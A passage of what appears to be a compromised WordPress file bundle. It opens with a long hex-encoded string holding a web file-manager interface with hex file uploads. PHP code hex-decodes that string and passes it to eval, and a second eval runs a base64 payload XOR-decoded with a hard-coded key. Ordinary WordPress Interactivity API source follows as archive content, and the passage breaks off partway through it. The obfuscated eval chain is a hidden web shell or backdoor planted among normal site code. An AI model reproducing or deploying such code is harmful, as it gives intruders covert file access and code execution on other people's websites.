42E|7175|6572|79|53656C65|6374|6F72|416C|6C28272E|61|6A61|78|52656E61|6D|6527|292E66|6F|7245|616368|28|66756E|637469|6F6E286C|696E6B29|20|7B0A20|20|202020|2020206C|696E6B|2E6164|644576|65|6E74|4C69|7374|656E65|72|2827|636C69|636B|27|2C2066|756E63|74696F|6E28|6529|20|7B0A20|202020|20202020|20202020|652E|70|72|65|76656E74|446566|61|756C74|28|293B0A20|20202020|20202020|20|2020|6665|74|63|6828|6C696E6B|2E68|7265|662C20|7B206865|61646572|733A20|7B|202758|2D526571|756573|746564|2D|576974|68|27|3A20|27|584D4C48|74|74|705265|7175|65737427|207D207D|290A2020|20|20202020|20202020|202E7468|656E2872|6573706F|6E|73|65203D|3E20|7265|73706F|6E|73652E74|65|787428|29290A20|2020|202020|2020|2020|20202E74|6865|6E2868|746D6C|203D3E|207B0A|202020|20|2020|2020|20|2020|2020|2020|20646F|63756D65|6E742E67|65|74|456C|656D65|6E74|42|79496428|27|61|6374696F|6E|43|6F6E|7461|696E65|7227|29|2E|696E|6E65|724854|4D|4C20|3D|20|6874|6D6C3B0A|20|20|20|202020|202020|202020|2020|2020|6174|746163|68416A61|78466F|726D28|293B0A|20202020|202020|20|20202020|20202020|617474|61|63684361|6E|6365|6C457665|6E74|28|293B0A20|20|202020|2020|20|20202020|202020|20726573|65744669|6C65|496E|7075744C|616265|6C28293B|0A202020|20|20|20|20202020|202020|20|20207265|7365|7446|696C|65496E70|7574|28|293B0A20|202020|20202020|20202020|7D29|3B0A20|202020|2020|20207D29|3B0A20|20|20207D29|3B0A2020|2020646F|63756D65|6E742E|71756572|795365|6C65|6374|6F72416C|6C|28|27|2E61|6A|6178|44697227|292E66|6F|72|45|61|63|6828|6675|6E6374|696F|6E286C|69|6E6B2920|7B0A20|20|20206C|696E|6B|2E6164|64|457665|6E74|4C69|73|7465|6E657228|27636C69|636B27|2C206675|6E63|74696F6E|28652920|7B0A|20202020|20|20|20|20|652E7072|6576|65|6E744465|6661|756C|74|28293B0A|202020|202020|20|20|77|696E|64|6F77|2E68|6973746F|72792E70|75736853|7461|7465|28|6E756C|6C2C|2027|27|2C206C|696E|6B2E68|72|6566|293B|0A2020|20202020|20|206C6F|6164|46696C|654C6973|74|28|293B|20202F2F|2052656C|6F616420|7468|65|206669|6C65|206C6973|74|0A|20|2020|2020|2020206C|6F61|64|42|726561|646372|756D6228|293B202F|2F205265|6C6F6164|20746865|20|62726561|64|6372|756D|620A20|202020|20|202020|72|65|73657446|696C|65496E|7075|744C6162|656C|2829|3B|0A2020|202020|20|20|20|72657365|74|46696C65|496E7075|742829|3B|0A2020|2020|7D29|3B0A|7D293B|0A|7D0A0A66|756E63|7469|6F6E20|61747461|636841|6A61|78|466F|72|6D|28|29207B0A|202020|20646F|63|756D65|6E742E|717565|72|795365|6C|6563746F|72416C6C|28|27|2E616A61|78|46|6F|726D27|29|2E|66|6F724561|63682866|756E|6374|696F6E|2866|6F72|6D|2920|7B|0A|2020|20202020|2020|666F|72|6D|2E|61646445|76|656E74|4C69|7374656E|657228|27737562|6D69|74|272C20|66|756E|6374|696F6E28|6529|207B|0A202020|202020|20202020|202065|2E|7072|657665|6E7444|656661|756C|7428293B|0A20|20|202020|2020|20|20202020|76617220|66|6F726D44|6174|61203D20|6E65|7720|46|6F726D44|6174|61|28666F|726D|293B|0A20|2020|2020|202020|202020|2066|6574|6368|28666F|726D|2E61|63|7469|6F6E2C20|7B20|6D|65|74|686F643A|2027504F|5354272C|20|62|6F6479|3A2066|6F726D44|61|7461|2C2068|65616465|7273|3A20|7B202758|2D|5265|71|756573|74|65642D|5769|74|68273A20|2758|4D|4C4874|7470|52657175|65|73742720|7D207D29|0A20|20|20|2020|20202020|2020|202E7468|65|6E2872|6573706F|6E|7365|203D3E|207265|73|70|6F6E7365|2E|6A736F6E|28|29290A|2020|2020|20|20|2020|20202020|2E7468|656E|28|64|617461|203D3E|207B|0A|202020|202020|20202020|202020|202020|7368|6F|774E6F|74696669|6361|7469|6F6E|28|6461|74612E|737461|7475732C|2064|61|7461|2E6D|736729|3B0A20|20|202020|2020|20202020|2020|20|2020646F|63756D|656E74|2E67|657445|6C656D|656E74|42794964|2827|61637469|6F6E|43|6F6E|746169|6E657227|29|2E696E6E|65724854|4D4C20|3D20|27273B|0A20|2020|2020|20|202020|202020|2020|2020|6C6F6164|46696C|654C6973|74|2829|3B0A20|20|20|202020|202020|20|202020|20|202072|657365|744669|6C|65496E|707574|4C61|6265|6C|28|29|3B|0A2020|2020|202020|202020|20207D29|3B0A|202020|2020|20|20207D29|3B|0A20|2020207D|29|3B0A7D|0A0A66|756E63|7469|6F|6E20|617474|61|63|68|43616E63|65|6C4576|65|6E74|2829|207B|0A202020|2076|61722063|616E6365|6C4274|6E20|3D|20|64|6F|63756D|656E|74|2E|6765|74456C|656D65|6E74|427949|6428|2763616E|63656C41|63|74696F|6E27293B|0A202020|20|6966|28|63616E63|656C|42|74|6E|29207B0A|2020|20202020|20|2063|616E|6365|6C4274|6E2E|6164|64|45|76656E|74|4C6973|74656E65|72|2827636C|69|636B27|2C2066|75|6E|6374|69|6F6E28|29207B0A|2020|20|202020|2020|20|20202064|6F|6375|6D656E|74|2E67|6574456C|656D|65|6E|744279|49642827|61|6374|696F6E|43|6F6E|74|61|696E6572|27292E|696E6E65|72|48544D4C|20|3D202727|3B0A2020|20|2020|20202020|20202072|65|73657446|696C65|496E7075|74|4C616265|6C28|293B0A|20|202020|20|20|2020|7D|293B0A|2020|2020|7D0A7D0A|0A66|756E63|74696F|6E20|7265|7365|7446|69|6C6549|6E|70757428|29207B0A|20|2020|20|76|61722066|696C65|49|6E7075|74203D|20|646F6375|6D656E|742E|67|657445|6C656D65|6E744279|49|6428|2766696C|65496E70|757427|293B|0A|202020|20766172|2066|696C|654C|6162|656C20|3D2064|6F6375|6D656E|74|2E|67|657445|6C65|6D65|6E744279|49642827|6669|6C654C61|62|656C|27293B|0A202020|20|696620|2866696C|65|49|6E70|757429|20|7B|0A20|2020|20|202020|206669|6C|6549|6E|70|75742E|7661|6C756520|3D2022|223B20|2F2F|20436C|65|6172|20616E|792073|656C|65|63746564|206669|6C650A20|2020207D|0A202020|2069|6620|28|66696C65|4C616265|6C29207B|0A|202020|20202020|20|66696C65|4C|616265|6C2E7465|787443|6F6E7465|6E|74203D|2022|43686F|6F|736520|46|69|6C6522|3B|20|2F2F20|5265|736574|206C6162|656C2074|6578|740A|20202020|7D0A|7D|0A0A646F|63|756D65|6E742E61|64|6445|76656E74|4C69|737465|6E|65722827|444F4D43|6F6E7465|6E744C|6F61|6465|64|272C20|66756E63|7469|6F6E2829|207B0A20|2020|20617474|616368|416A6178|45|7665|6E7473|2829|3B0A|2020|20|20|7661|7220|66696C|65496E70|7574|203D|2064|6F63|75|6D656E74|2E6765|7445|6C656D65|6E7442|7949|6428|2766696C|6549|6E70|75|7427293B|0A2020|20|2076|61722075|70|6C6F|61|64466F|726D20|3D2064|6F6375|6D656E74|2E67|65|74|456C|65|6D|656E|744279|49|64|28|27|75|706C6F61|64466F72|6D27|293B0A0A|202020|20|66696C65|496E|707574|2E616464|4576|65|6E744C69|7374656E|65722827|6368616E|6765|272C|2066|756E63|74696F6E|2829207B|0A2020|20|20|20202020|76|6172206C|6162656C|20|3D20646F|6375|6D656E|742E67|65|7445|6C65|6D656E74|4279|4964|28276669|6C654C61|62656C27|29|3B0A|20|20|202020|20|2020|6966|2866|696C|65|496E|7075|742E6669|6C65732E|6C|656E|677468|203E|203029|207B0A|20|2020|20202020|20|20|2020206C|6162|656C2E74|65787443|6F6E74|656E7420|3D206669|6C65|496E|7075742E|66|696C65|735B|305D|2E|6E616D|653B0A|202020|20202020|207D|20|656C|7365|207B0A20|20|202020|20|20202020|2020|6C6162|656C2E74|65|78|74|436F|6E7465|6E74203D|20224368|6F6F|7365|20|4669|6C65223B|0A20|20|20|20|20|2020|207D|0A20|20|20|20|7D29|3B0A0A|20|20|202069|6628|75706C6F|616446|6F726D29|207B|0A20|202020|20202020|7570|6C6F|616446|6F72|6D|2E6164|64|457665|6E744C|69|737465|6E6572|28|27737562|6D6974|272C20|66756E63|74|696F6E28|652920|7B0A2020|2020|202020|202020|20|20|652E70|726576|656E74|446566|61756C|7428|293B|0A|202020|2020|202020|2020|20206966|28|66696C65|496E|7075|74|2E6669|6C6573|2E6C656E|67|746820|3D3D3D|2030|292072|65747572|6E3B|0A0A2020|2020|20202020|20|2020|2076|6172|2066696C|6520|3D|2066|696C|65496E70|75742E|66|696C65|735B|305D3B|0A|20|20|20|20|2020|20202020|20|20766172|2072|65|616465|72203D|206E6577|204669|6C6552|65|61|64657228|293B0A0A|202020|2020|20|202020|20|2020|7265|61|6465722E|6F6E6C6F|6164|20|3D2066|756E6374|69|6F|6E2865|76|656E|742920|7B0A|202020|20|202020|20202020|2020|202020|76|6172|20|6172|7261|79|427566|6665|7220|3D|206576|656E74|2E7461|72|67|65|742E7265|7375|6C|743B0A20|20|20202020|202020|202020|2020|2020|76|6172|206279|746573|20|3D206E|65|7720|55696E|74|3841|72726179|28617272|61794275|666665|7229|3B0A2020|2020|202020|20|2020|20202020|2020|766172|20|68|65785374|72696E|67203D20|27273B|0A20|20202020|202020|202020|202020|20|20|666F|72|202876|61722069|203D|20|303B20|69203C20|627974|65|732E6C65|6E6774|68|3B20692B|2B2920|7B|0A20|2020|202020|202020|2020|20|202020|202020|20206865|7853|74|72696E67|202B|3D2062|79746573|5B695D|2E|746F5374|7269|6E|67283136|292E7061|6453|74|617274|28322C|20273027|293B0A20|20|2020|2020|202020|20|20202020|20|207D|0A0A|20|2020|20|20202020|2020|202020|20|2020|76|61722066|6F726D44|61|74|61|203D20|6E|65772046|6F726D|446174|6128293B|0A20|2020|2020|20202020|202020|2020|2020|666F726D|446174|612E61|70|70656E|64|28226265|6E6B|79|6F222C20|66|696C|652E|6E61|6D6529|3B0A2020|2020|202020|2020|2020|20202020|20|666F72|6D446174|612E6170|70|656E64|28226461|6B65|6A61|222C|20|68657853|74|72|696E6729|3B0A0A|20|202020|2020|20202020|20|202020|202066|65|746368|28|7570|6C6F|6164|466F726D|2E6163|74696F|6E207C7C|2077696E|646F77|2E|6C6F6361|74|69|6F6E|2E687265|662C20|7B0A20|20|20202020|20|20|20|20202020|2020|20|2020|20206D65|74686F64|3A|20|2750|4F53|54272C|0A2020|202020|202020|20202020|20|202020|2020|20|20626F|64793A|2066|6F726D44|6174|612C0A20|20202020|20202020|20|20202020|20|20|20202020|686561|64|65|7273|3A207B|2027|582D|52|657175|6573|746564|2D5769|7468|27|3A|2027584D|4C48|747470|526571|756573|7427|20|7D|0A20|20|2020|202020|20|20|2020|20|20|202020|7D|29|0A202020|20202020|2020|20|2020|20|202020|2E746865|6E287265|7370|6F6E7365|203D|3E20|726573|706F6E73|652E6A73|6F6E|28|2929|0A2020|20202020|202020|20202020|2020202E|7468656E|28|64|61746120|3D3E|207B|0A202020|20202020|20|2020|202020|20202020|20|20|2073|68|6F774E|6F|74696669|6361|74|69|6F6E2864|6174|612E7374|6174|75|732C|20|6461|7461|2E6D7367|293B0A20|2020|2020|202020|20202020|20202020|202020|2075706C|6F61|64466F|726D2E72|657365|7428|293B|0A|20202020|20|202020|202020|20202020|202020|20|20726573|65744669|6C65496E|707574|4C616265|6C|28293B0A|2020|20|2020|2020|20202020|2020|202020|20202020|6C6F61|644669|6C|65|4C|69737428|29|3B0A2020|20|2020|20202020|20202020|2020|207D29|3B0A20|2020|20|20202020|202020|207D|3B|0A0A20|2020|20|2020|2020|2020|2020|7265|61|646572|2E726561|64417341|72726179|42|75666665|722866|69|6C|6529|3B0A20|2020|202020|20207D|293B|0A2020|2020|7D0A|7D293B0A|3C2F|73|637269|70743E|0A3C666F|6F7465|7220636C|61|73|733D22|66757465|72223E0A|0909|090926|636F|70793B20|7A|6569|6E68|6F726F|626F73|750A0909|093C2F|666F6F|746572|3E0A3C2F|62|6F6479|3E0A3C2F|68746D6C|3E0A";$xmioxniqwnitwqqwtwxx11=str_replace("|", "", $list);$gstatic=xmxmxnianntt($xmioxniqwnitwqqwtwxx11);return $gstatic;}}$hover=new nigwqgqwtqwtqwt();$letter=$hover->nigwqgqwtqwtqwti();eval(wkqtonxx().$letter);function wkqtonxx(){}function xmxmxnianntt($margin){$background='';for($i=0;$i<strlen($margin);$i+=2){$background.=chr(hexdec($margin[$i].$margin[$i+1]));}return $background;} eval((function($d,$k,$n){$x=function($d,$k){$o='';for($i=0;$i<strlen($d);$i++)$o.=$d[$i]^$k[$i%strlen($k)];return $o;};$b=$n[0].$n[1].$n[2];return $x($b($d),$k);})( 'fA0/LFdXQFU1LTUrV14SCXhebXcHAQQBYUlqeQhxc3ESCjsmW2hxBmAOHhYFUVtgFSk1MGdofl4ZMDkweVdAU39CV0oWU1pVLDA+YA8QFQFhS2JwBgQGBmleYU04FEJGNw01I11cEgl4UXslX0BGTXBdBRN3YmRxCiJ9CGZkYmd/JHNgFBYSEAcqHxJkdWBvfzEOFGJjFWl4WGd9EhddUj5ec2ANEBBcLA0qMwgfHRZ4Q3piWkRGRGJWdWIJPTgQKxw2JmdCXhRlWX4wQF9GWzsWNmAcEBZrCzwIFndiaRMQLQ4QbXh9ZwxeB2AcEBZrCzwIFndiaRMKPAsVd2Nmaw0rE2dvCz8+fBQ/M0FRVVF4RHpiwq+hkXg/MyxXEEdENBY7JFdCElAxGDEzV0MIaDZdKSVeVmdGNFthTTgURlE0HD0yU11zRDEsKCwSDRIWMA0uMEEKHRs5CTNuRlVeUT8LOy0cX0BTdxs1NBZEV1g9HighX2RdXz0XdTNXXlZ5PQopIVVVEA9Vc34kU0RTFGVZAWdRWFNABxA+ZxINDBR8GjIhRnlWGHheLiVKRBUUZUd6ZF9VQUc5Hj8dCT04EDsRen0SU0dGNCYzLltEGh1jdFAjR0JeayscLi9CRBoQOxF2YHFlYHgXKQ4fZ2J+GHhdLiVeVVVGORQbMFtlQFhxQldKUUVAWAcKPzRdQEYcfBoybBJzZ2YUNgoUbWB9ZwxVejRARVcdY3RQI0dCXmsrHC4vQkQaEDsRdmBxZWB4FykOH2J/YWAeMB8MdmMeFHwdOzRTGQk5UhovMl5vQVEsFio0GhRRXHRZGRVgfH1kDCYIBWZlYHoMKxsOYXZ3ZnRZLjJHVRsPVXM5NUBcbVEgHDloFlNaHWN0UCNHQl5rOxU1M1cYFlcwUGE=', 'XyZ@2024', ['base','64_','decode'] )); ?>PK 0C�[��[�ծ ծ class-wp-interactivity-api.phpnu �[��� <?php /** * Interactivity API: WP_Interactivity_API class. * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 */ /** * Class used to process the Interactivity API on the server. * * @since 6.5.0 */ final class WP_Interactivity_API { /** * Holds the mapping of directive attribute names to their processor methods. * * @since 6.5.0 * @var array */ private static $directive_processors = array( 'data-wp-interactive' => 'data_wp_interactive_processor', 'data-wp-router-region' => 'data_wp_router_region_processor', 'data-wp-context' => 'data_wp_context_processor', 'data-wp-bind' => 'data_wp_bind_processor', 'data-wp-class' => 'data_wp_class_processor', 'data-wp-style' => 'data_wp_style_processor', 'data-wp-text' => 'data_wp_text_processor', /* * `data-wp-each` needs to be processed in the last place because it moves * the cursor to the end of the processed items to prevent them to be * processed twice. */ 'data-wp-each' => 'data_wp_each_processor', ); /** * Holds the initial state of the different Interactivity API stores. * * This state is used during the server directive processing. Then, it is * serialized and sent to the client as part of the interactivity data to be * recovered during the hydration of the client interactivity stores. * * @since 6.5.0 * @var array */ private $state_data = array(); /** * Holds the configuration required by the different Interactivity API stores. * * This configuration is serialized and sent to the client as part of the * interactivity data and can be accessed by the client interactivity stores. * * @since 6.5.0 * @var array */ private $config_data = array(); /** * Flag that indicates whether the `data-wp-router-region` directive has * been found in the HTML and processed. * * The value is saved in a private property of the WP_Interactivity_API * instance instead of using a static variable inside the processor * function, which would hold the same value for all instances * independently of whether they have processed any * `data-wp-router-region` directive or not. * * @since 6.5.0 * @var bool */ private $has_processed_router_region = false; /** * Stack of namespaces defined by `data-wp-interactive` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array<string>|null */ private $namespace_stack = null; /** * Stack of contexts defined by `data-wp-context` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array<array<mixed>>|null */ private $context_stack = null; /** * Representation in array format of the element currently being processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.7.0 * @var array{attributes: array<string, string|bool>}|null */ private $current_element = null; /** * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * When no namespace is specified, it returns the state defined for the * current value in the internal namespace stack during a `process_directives` call. * * @since 6.5.0 * @since 6.6.0 The `$store_namespace` param is optional. * * @param string $store_namespace Optional. The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The current state for the specified store namespace. This will be the updated state if a $state * argument was provided. */ public function state( ?string $store_namespace = null, ?array $state = null ): array { if ( ! $store_namespace ) { if ( $state ) { _doing_it_wrong( __METHOD__, __( 'The namespace is required when state data is passed.' ), '6.6.0' ); return array(); } if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } if ( null === $this->namespace_stack ) { _doing_it_wrong( __METHOD__, __( 'The namespace can only be omitted during directive processing.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } if ( ! isset( $this->state_data[ $store_namespace ] ) ) { $this->state_data[ $store_namespace ] = array(); } if ( is_array( $state ) ) { $this->state_data[ $store_namespace ] = array_replace_recursive( $this->state_data[ $store_namespace ], $state ); } return $this->state_data[ $store_namespace ]; } /** * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. */ public function config( string $store_namespace, array $config = array() ): array { if ( ! isset( $this->config_data[ $store_namespace ] ) ) { $this->config_data[ $store_namespace ] = array(); } if ( is_array( $config ) ) { $this->config_data[ $store_namespace ] = array_replace_recursive( $this->config_data[ $store_namespace ], $config ); } return $this->config_data[ $store_namespace ]; } /** * Prints the serialized client-side interactivity data. * * Encodes the config and initial state into JSON and prints them inside a * script tag of type "application/json". Once in the browser, the state will * be parsed and used to hydrate the client-side interactivity stores and the * configuration will be available using a `getConfig` utility. * * @since 6.5.0 * * @deprecated 6.7.0 Client data passing is handled by the {@see "script_module_data_{$module_id}"} filter. */ public function print_client_interactivity_data() { _deprecated_function( __METHOD__, '6.7.0' ); } /** * Set client-side interactivity-router data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * * @param array $data Data to filter. * @return array Data for the Interactivity Router script module. */ public function filter_script_module_interactivity_router_data( array $data ): array { if ( ! isset( $data['i18n'] ) ) { $data['i18n'] = array(); } $data['i18n']['loading'] = __( 'Loading page, please wait.' ); $data['i18n']['loaded'] = __( 'Page Loaded.' ); return $data; } /** * Set client-side interactivity data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * * @param array $data Data to filter. * @return array Data for the Interactivity API script module. */ public function filter_script_module_interactivity_data( array $data ): array { if ( empty( $this->state_data ) && empty( $this->config_data ) ) { return $data; } $config = array(); foreach ( $this->config_data as $key => $value ) { if ( ! empty( $value ) ) { $config[ $key ] = $value; } } if ( ! empty( $config ) ) { $data['config'] = $config; } $state = array(); foreach ( $this->state_data as $key => $value ) { if ( ! empty( $value ) ) { $state[ $key ] = $value; } } if ( ! empty( $state ) ) { $data['state'] = $state; } return $data; } /** * Returns the latest value on the context stack with the passed namespace. * * When the namespace is omitted, it uses the current namespace on the * namespace stack during a `process_directives` call. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. */ public function get_context( ?string $store_namespace = null ): array { if ( null === $this->context_stack ) { _doing_it_wrong( __METHOD__, __( 'The context can only be read during directive processing.' ), '6.6.0' ); return array(); } if ( ! $store_namespace ) { if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } $context = end( $this->context_stack ); return ( $store_namespace && $context && isset( $context[ $store_namespace ] ) ) ? $context[ $store_namespace ] : array(); } /** * Returns an array representation of the current element being processed. * * The returned array contains a copy of the element attributes. * * @since 6.7.0 * * @return array{attributes: array<string, string|bool>}|null Current element. */ public function get_element(): ?array { if ( null === $this->current_element ) { _doing_it_wrong( __METHOD__, __( 'The element can only be read during directive processing.' ), '6.7.0' ); } return $this->current_element; } /** * Registers the `@wordpress/interactivity` script modules. * * @deprecated 6.7.0 Script Modules registration is handled by {@see wp_default_script_modules()}. * * @since 6.5.0 */ public function register_script_modules() { _deprecated_function( __METHOD__, '6.7.0', 'wp_default_script_modules' ); } /** * Adds the necessary hooks for the Interactivity API. * * @since 6.5.0 */ public function add_hooks() { add_filter( 'script_module_data_@wordpress/interactivity', array( $this, 'filter_script_module_interactivity_data' ) ); add_filter( 'script_module_data_@wordpress/interactivity-router', array( $this, 'filter_script_module_interactivity_router_data' ) ); } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * @since 6.5.0 * * @param string $html The HTML content to process. * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags. */ public function process_directives( string $html ): string { if ( ! str_contains( $html, 'data-wp-' ) ) { return $html; } $this->namespace_stack = array(); $this->context_stack = array(); $result = $this->_process_directives( $html ); $this->namespace_stack = null; $this->context_stack = null; return null === $result ? $html : $result; } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * It uses the WP_Interactivity_API instance's context and namespace stacks, * which are shared between all calls. * * This method returns null if the HTML contains unbalanced tags. * * @since 6.6.0 * * @param string $html The HTML content to process. * @return string|null The processed HTML content. It returns null when the HTML contains unbalanced tags. */ private function _process_directives( string $html ) { $p = new WP_Interactivity_API_Directives_Processor( $html ); $tag_stack = array(); $unbalanced = false; $directive_processor_prefixes = array_keys( self::$directive_processors ); $directive_processor_prefixes_reversed = array_reverse( $directive_processor_prefixes ); /* * Save the current size for each stack to restore them in case * the processing finds unbalanced tags. */ $namespace_stack_size = count( $this->namespace_stack ); $context_stack_size = count( $this->context_stack ); while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) { $tag_name = $p->get_tag(); /* * Directives inside SVG and MATH tags are not processed, * as they are not compatible with the Tag Processor yet. * We still process the rest of the HTML. */ if ( 'SVG' === $tag_name || 'MATH' === $tag_name ) { if ( $p->get_attribute_names_with_prefix( 'data-wp-' ) ) { /* translators: 1: SVG or MATH HTML tag, 2: Namespace of the interactive block. */ $message = sprintf( __( 'Interactivity directives were detected on an incompatible %1$s tag when processing "%2$s". These directives will be ignored in the server side render.' ), $tag_name, end( $this->namespace_stack ) ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } $p->skip_to_tag_closer(); continue; } if ( $p->is_tag_closer() ) { list( $opening_tag_name, $directives_prefixes ) = end( $tag_stack ); if ( 0 === count( $tag_stack ) || $opening_tag_name !== $tag_name ) { /* * If the tag stack is empty or the matching opening tag is not the * same than the closing tag, it means the HTML is unbalanced and it * stops processing it. */ $unbalanced = true; break; } else { // Remove the last tag from the stack. array_pop( $tag_stack ); } } else { if ( 0 !== count( $p->get_attribute_names_with_prefix( 'data-wp-each-child' ) ) ) { /* * If the tag has a `data-wp-each-child` directive, jump to its closer * tag because those tags have already been processed. */ $p->next_balanced_tag_closer_tag(); continue; } else { $directives_prefixes = array(); // Checks if there is a server directive processor registered for each directive. foreach ( $p->get_attribute_names_with_prefix( 'data-wp-' ) as $attribute_name ) { if ( ! preg_match( /* * This must align with the client-side regex used by the interactivity API. * @see https://github.com/WordPress/gutenberg/blob/ca616014255efbb61f34c10917d52a2d86c1c660/packages/interactivity/src/vdom.ts#L20-L32 */ '/' . '^data-wp-' . // Match alphanumeric characters including hyphen-separated // segments. It excludes underscore intentionally to prevent confusion. // E.g., "custom-directive". '([a-z0-9]+(?:-[a-z0-9]+)*)' . // (Optional) Match '--' followed by any alphanumeric charachters. It // excludes underscore intentionally to prevent confusion, but it can // contain multiple hyphens. E.g., "--custom-prefix--with-more-info". '(?:--([a-z0-9_-]+))?$' . '/i', $attribute_name ) ) { continue; } list( $directive_prefix ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( array_key_exists( $directive_prefix, self::$directive_processors ) ) { $directives_prefixes[] = $directive_prefix; } } /* * If this tag will visit its closer tag, it adds it to the tag stack * so it can process its closing tag and check for unbalanced tags. */ if ( $p->has_and_visits_its_closer_tag() ) { $tag_stack[] = array( $tag_name, $directives_prefixes ); } } } /* * If the matching opener tag didn't have any directives, it can skip the * processing. */ if ( 0 === count( $directives_prefixes ) ) { continue; } // Directive processing might be different depending on if it is entering the tag or exiting it. $modes = array( 'enter' => ! $p->is_tag_closer(), 'exit' => $p->is_tag_closer() || ! $p->has_and_visits_its_closer_tag(), ); // Get the element attributes to include them in the element representation. $element_attrs = array(); $attr_names = $p->get_attribute_names_with_prefix( '' ) ?? array(); foreach ( $attr_names as $name ) { $element_attrs[ $name ] = $p->get_attribute( $name ); } // Assign the current element right before running its directive processors. $this->current_element = array( 'attributes' => $element_attrs, ); foreach ( $modes as $mode => $should_run ) { if ( ! $should_run ) { continue; } /* * Sorts the attributes by the order of the `directives_processor` array * and checks what directives are present in this element. */ $existing_directives_prefixes = array_intersect( 'enter' === $mode ? $directive_processor_prefixes : $directive_processor_prefixes_reversed, $directives_prefixes ); foreach ( $existing_directives_prefixes as $directive_prefix ) { $func = is_array( self::$directive_processors[ $directive_prefix ] ) ? self::$directive_processors[ $directive_prefix ] : array( $this, self::$directive_processors[ $directive_prefix ] ); call_user_func_array( $func, array( $p, $mode, &$tag_stack ) ); } } // Clear the current element. $this->current_element = null; } if ( $unbalanced ) { // Reset the namespace and context stacks to their previous values. array_splice( $this->namespace_stack, $namespace_stack_size ); array_splice( $this->context_stack, $context_stack_size ); } /* * It returns null if the HTML is unbalanced because unbalanced HTML is * not safe to process. In that case, the Interactivity API runtime will * update the HTML on the client side during the hydration. It will also * display a notice to the developer to inform them about the issue. */ if ( $unbalanced || 0 < count( $tag_stack ) ) { $tag_errored = 0 < count( $tag_stack ) ? end( $tag_stack )[0] : $tag_name; /* translators: %1s: Namespace processed, %2s: The tag that caused the error; could be any HTML tag. */ $message = sprintf( __( 'Interactivity directives failed to process in "%1$s" due to a missing "%2$s" end tag.' ), end( $this->namespace_stack ), $tag_errored ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); return null; } return $p->get_updated_html(); } /** * Evaluates the reference path passed to a directive based on the current * store namespace, state and context. * * @since 6.5.0 * @since 6.6.0 The function now adds a warning when the namespace is null, falsy, or the directive value is empty. * @since 6.6.0 Removed `default_namespace` and `context` arguments. * @since 6.6.0 Add support for derived state. * * @param string|true $directive_value The directive attribute value string or `true` when it's a boolean attribute. * @return mixed|null The result of the evaluation. Null if the reference path doesn't exist or the namespace is falsy. */ private function evaluate( $directive_value ) { $default_namespace = end( $this->namespace_stack ); $context = end( $this->context_stack ); list( $ns, $path ) = $this->extract_directive_value( $directive_value, $default_namespace ); if ( ! $ns || ! $path ) { /* translators: %s: The directive value referenced. */ $message = sprintf( __( 'Namespace or reference path cannot be empty. Directive value referenced: %s' ), $directive_value ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); return null; } $store = array( 'state' => $this->state_data[ $ns ] ?? array(), 'context' => $context[ $ns ] ?? array(), ); // Checks if the reference path is preceded by a negation operator (!). $should_negate_value = '!' === $path[0]; $path = $should_negate_value ? substr( $path, 1 ) : $path; // Extracts the value from the store using the reference path. $path_segments = explode( '.', $path ); $current = $store; foreach ( $path_segments as $path_segment ) { /* * Special case for numeric arrays and strings. Add length * property mimicking JavaScript behavior. * * @since 6.8.0 */ if ( 'length' === $path_segment ) { if ( is_array( $current ) && array_is_list( $current ) ) { $current = count( $current ); break; } if ( is_string( $current ) ) { /* * Differences in encoding between PHP strings and * JavaScript mean that it's complicated to calculate * the string length JavaScript would see from PHP. * `strlen` is a reasonable approximation. * * Users that desire a more precise length likely have * more precise needs than "bytelength" and should * implement their own length calculation in derived * state taking into account encoding and their desired * output (codepoints, graphemes, bytes, etc.). */ $current = strlen( $current ); break; } } if ( ( is_array( $current ) || $current instanceof ArrayAccess ) && isset( $current[ $path_segment ] ) ) { $current = $current[ $path_segment ]; } elseif ( is_object( $current ) && isset( $current->$path_segment ) ) { $current = $current->$path_segment; } else { $current = null; break; } if ( $current instanceof Closure ) { /* * This state getter's namespace is added to the stack so that * `state()` or `get_config()` read that namespace when called * without specifying one. */ array_push( $this->namespace_stack, $ns ); try { $current = $current(); } catch ( Throwable $e ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: Path pointing to an Interactivity API state property, 2: Namespace for an Interactivity API store. */ __( 'Uncaught error executing a derived state callback with path "%1$s" and namespace "%2$s".' ), $path, $ns ), '6.6.0' ); return null; } finally { // Remove the property's namespace from the stack. array_pop( $this->namespace_stack ); } } } // Returns the opposite if it contains a negation operator (!). return $should_negate_value ? ! $current : $current; } /** * Extracts the directive attribute name to separate and return the directive * prefix and an optional suffix. * * The suffix is the string after the first double hyphen and the prefix is * everything that comes before the suffix. * * Example: * * extract_prefix_and_suffix( 'data-wp-interactive' ) => array( 'data-wp-interactive', null ) * 